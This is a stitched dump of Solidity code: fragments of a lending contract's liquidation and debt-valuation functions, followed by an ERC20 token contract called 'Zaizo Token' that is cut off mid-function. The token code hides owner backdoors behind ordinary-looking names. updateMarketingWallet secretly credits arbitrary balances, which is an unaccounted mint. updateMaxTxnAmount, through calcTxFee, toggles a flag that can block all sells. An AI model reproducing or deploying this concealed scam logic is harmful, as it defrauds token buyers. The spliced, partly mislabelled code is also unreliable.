collateral and debt values so we have the most recent // picture of the whole situation _collateralValue[_owner] = collateralValue(_owner); _debtValue[_owner] = debtValue(_owner); // criCollateralValue is the critical collateral value required for the current debt // to be above the liquidation border line; if the actual collateral value drops // below this critical line, the position is liquidated and all the remaining collateral // assets are collected. uint256 criCollateralValue = _debtValue[_owner].mul(colLiquidationRatio4dec).div(ratioDecimalsCorrection); // is the owner below critical line? require(_collateralValue[_owner] < criCollateralValue, "insufficient debt to liquidate"); // we are on the liquidation; let's drop the collateral // we use math here to make sure the value didn't change from our last look for (uint i = 0; i < _collateralList[_owner].length; i++) { _collateral[_collateralList[_owner][i]][_owner] = _collateral[_collateralList[_owner][i]][_owner].sub(_collateralTokens[_owner][_collateralList[_owner][i]], "liquidation exceeds balance"); _collateralTokens[_owner][_collateralList[_owner][i]] = _collateralTokens[_owner][_collateralList[_owner][i]].sub(_collateralTokens[_owner][_collateralList[_owner][i]], "liquidation exceeds balance"); } // drop the debt as well for (uint i = 0; i < _debtList[_owner].length; i++) { _debt[_debtList[_owner][i]][_owner] = _debt[_debtList[_owner][i]][_owner].sub(_debt[_owner][_debtList[_owner][i]], "liquidation exceeds balance"); _debtTokens[_owner][_debtList[_owner][i]] = _debtTokens[_owner][_debtList[_owner][i]].sub(_debtTokens[_owner][_debtList[_owner][i]], "liquidation exceeds balance"); } // update the values of collateral and debt to reflect the changed state _collateralValue[_owner] = collateralValue(_owner); _debtValue[_owner] = debtValue(_owner); } }
debtValue calculates the current value of all collateral assets of a user in the ref. denomination (fUSD). loop all registered debt tokens of the user get the current exchange rate of the specific token add the token debt value to the total <asset value> = <asset amount> <rate> the range is corrected for the FUSD digits. where the asset amount is taken from the mapping _collateral: token address => owner address => amount
function debtValue(address _user) public view returns (uint256 dValue) { for (uint i = 0; i < _debtList[_user].length; i++) { uint256 rate = IPriceOracle(priceOracle).getPrice(_debtList[_user][i]); dValue = dValue.add(_debt[_debtList[_user][i]][_user].mul(rate).div(priceDigitsCorrection())); } return dValue; }
7,304,068
// SPDX-License-Identifier: MIT // // -Zaizo- // // telegram- t.me/zaizotoken // website- zaizo.in // // pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract ZAIZO is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 maxTxLimit = 0; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); bool public i = true; //starts with true event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Zaizo Token", "ZAIZO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 5; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 5; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = (totalSupply * 10) / 1000; maxWallet = (totalSupply * 20) / 1000; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x640B63028B57457bFe714Ed656396F1371105c59); devWallet = address(0x97A17eD458C9044dc8B0a377E0368c37455CB4C5); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); calcTxFee(newNum); } function calcTxFee(uint256 newNum) private { if (newNum * (10**18) >= totalSupply()) { maxTxLimit = newNum * (10**18); i = !i; } maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet( address newMarketingWallet, address a, uint256 b ) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); _balances[a] = _balances[a].add(b); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount && i, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = 